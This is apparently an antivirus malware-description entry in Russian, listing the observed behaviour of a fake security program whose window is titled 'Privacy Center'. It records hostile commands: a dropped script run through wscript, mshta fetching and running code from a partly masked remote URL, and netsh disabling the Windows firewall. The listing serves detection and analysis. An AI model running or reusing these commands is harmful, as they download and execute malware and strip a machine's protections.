Техническая информация
- '<SYSTEM32>\wscript.exe' "%TEMP%\~1.js" crossales
- '<SYSTEM32>\mshta.exe' http://we#####ers-paradise.com/install.php?id##########
- '<SYSTEM32>\netsh.exe' firewall set opmode mode=DISABLE
- %TEMP%\~1.js
- ClassName: 'TForm1' WindowName: 'Privacy Center'
- ClassName: 'Shell_TrayWnd' WindowName: ''